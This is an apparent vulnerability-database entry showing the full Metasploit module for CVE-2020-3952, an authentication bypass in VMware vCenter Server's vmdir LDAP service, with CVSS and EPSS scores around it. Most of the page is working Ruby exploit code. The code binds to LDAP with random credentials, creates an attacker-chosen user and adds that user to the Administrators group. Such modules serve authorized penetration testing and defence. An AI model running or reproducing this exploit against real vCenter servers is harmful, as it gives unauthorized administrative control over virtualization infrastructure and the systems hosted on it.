Lucene search

K
metasploitHynek Petrak, JJ Lehmann, Ofri Ziv, wvu <[email protected]>MSF:AUXILIARY-ADMIN-LDAP-VMWARE_VCENTER_VMDIR_AUTH_BYPASS-
HistoryApr 22, 2020 - 10:38 p.m.

VMware vCenter Server vmdir Authentication Bypass

2020-04-2222:38:11
Hynek Petrak, JJ Lehmann, Ofri Ziv, wvu <[email protected]>
www.rapid7.com
47

6.8 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.4 High

AI Score

Confidence

High

0.745 High

EPSS

Percentile

98.1%

This module bypasses LDAP authentication in VMware vCenter Server’s vmdir service to add an arbitrary administrator user. Version 6.7 prior to the 6.7U3f update is vulnerable, only if upgraded from a previous release line, such as 6.0 or 6.5. Note that it is also possible to provide a bind username and password to authenticate if the target is not vulnerable. It will add an arbitrary administrator user the same way.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::LDAP
  include Msf::OptionalSession::LDAP
  include Msf::Exploit::Remote::CheckModule

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware vCenter Server vmdir Authentication Bypass',
        'Description' => %q{
          This module bypasses LDAP authentication in VMware vCenter Server's
          vmdir service to add an arbitrary administrator user. Version 6.7
          prior to the 6.7U3f update is vulnerable, only if upgraded from a
          previous release line, such as 6.0 or 6.5.
          Note that it is also possible to provide a bind username and password
          to authenticate if the target is not vulnerable. It will add an
          arbitrary administrator user the same way.
        },
        'Author' => [
          'Hynek Petrak', # Discovery
          'JJ Lehmann', # Analysis and PoC
          'Ofri Ziv', # Analysis and PoC
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-3952'],
          ['URL', 'https://www.guardicore.com/2020/04/pwning-vmware-vcenter-cve-2020-3952/'],
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html'],
          ['URL', 'https://github.com/HynekPetrak/HynekPetrak/blob/master/take_over_vcenter_670.md']
        ],
        'DisclosureDate' => '2020-04-09', # Vendor advisory
        'License' => MSF_LICENSE,
        'Actions' => [
          ['Add', { 'Description' => 'Add an admin user' }]
        ],
        'DefaultAction' => 'Add',
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 636, # SSL/TLS
          'CheckModule' => 'auxiliary/gather/vmware_vcenter_vmdir_ldap'
        },
        'Notes' => {
          'Stability' => [SERVICE_RESOURCE_LOSS],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
          'Reliability' => []
        }
      )
    )

    register_options([
      OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
      OptString.new('NEW_USERNAME', [true, 'Username of admin user to add']),
      OptString.new('NEW_PASSWORD', [true, 'Password of admin user to add'])
    ])
  end

  def new_username
    datastore['NEW_USERNAME']
  end

  def new_password
    datastore['NEW_PASSWORD']
  end

  def base_dn
    @base_dn ||= 'dc=vsphere,dc=local'
  end

  def user_dn
    "cn=#{new_username},cn=Users,#{base_dn}"
  end

  def group_dn
    "cn=Administrators,cn=Builtin,#{base_dn}"
  end

  def run
    unless new_username && new_password
      print_error('Please set the NEW_USERNAME and NEW_PASSWORD options to proceed')
      return
    end

    # NOTE: check is provided by auxiliary/gather/vmware_vcenter_vmdir_ldap
    checkcode = check

    return unless checkcode == Exploit::CheckCode::Vulnerable

    if (@base_dn = datastore['BASE_DN'])
      print_status("User-specified base DN: #{base_dn}")
    else
      # HACK: We stashed the detected base DN in the CheckCode's reason
      @base_dn = checkcode.reason
    end

    ldap_connect do |ldap|
      print_status("Bypassing LDAP auth in vmdir service at #{ldap.peerinfo}")
      auth_bypass(ldap)

      print_status("Adding admin user #{new_username} with password #{new_password}")

      unless add_admin(ldap)
        print_error("Failed to add admin user #{new_username}")
      end
    end
  rescue Net::LDAP::Error => e
    print_error("#{e.class}: #{e.message}")
  end

  # This will always return false, since the creds are invalid
  def auth_bypass(ldap)
    # when datastore['BIND_DN'] has been provided in options,
    # ldap_connect has already made a bind for us.
    return if datastore['USERNAME'] && ldap.bind

    ldap.bind(
      method: :simple,
      username: Rex::Text.rand_text_alphanumeric(8..42),
      password: Rex::Text.rand_text_alphanumeric(8..42)
    )
  end

  def add_admin(ldap)
    user_info = {
      'objectClass' => %w[top person organizationalPerson user],
      'cn' => new_username,
      'sn' => 'vsphere.local',
      'givenName' => new_username,
      'sAMAccountName' => new_username,
      'userPrincipalName' => "#{new_username}@VSPHERE.LOCAL",
      'uid' => new_username,
      'userPassword' => new_password
    }

    # Add our new user
    unless ldap.add(dn: user_dn, attributes: user_info)
      res = ldap.get_operation_result

      case res.code
      when Net::LDAP::ResultCodeInsufficientAccessRights
        print_error('Failed to bypass LDAP auth in vmdir service')
      when Net::LDAP::ResultCodeEntryAlreadyExists
        print_error("User #{new_username} already exists")
      when Net::LDAP::ResultCodeConstraintViolation
        print_error("Password #{new_password} does not meet policy requirements")
      else
        print_error("#{res.message}: #{res.error_message}")
      end

      return false
    end

    print_good("Added user #{new_username}, so auth bypass was successful!")

    # Add our user to the admin group
    unless ldap.add_attribute(group_dn, 'member', user_dn)
      res = ldap.get_operation_result

      if res.code == Net::LDAP::ResultCodeAttributeOrValueExists
        print_error("User #{new_username} is already an admin")
      else
        print_error("#{res.message}: #{res.error_message}")
      end

      return false
    end

    print_good("Added user #{new_username} to admin group")

    true
  end

end

6.8 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.4 High

AI Score

Confidence

High

0.745 High

EPSS

Percentile

98.1%